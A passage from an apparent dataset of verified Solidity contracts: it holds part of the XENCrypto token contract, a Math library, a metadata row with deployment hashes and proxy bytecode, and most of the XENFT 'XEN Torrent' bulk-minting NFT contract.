Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
497dffe4479698b187d90e886505a5823567e736
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = 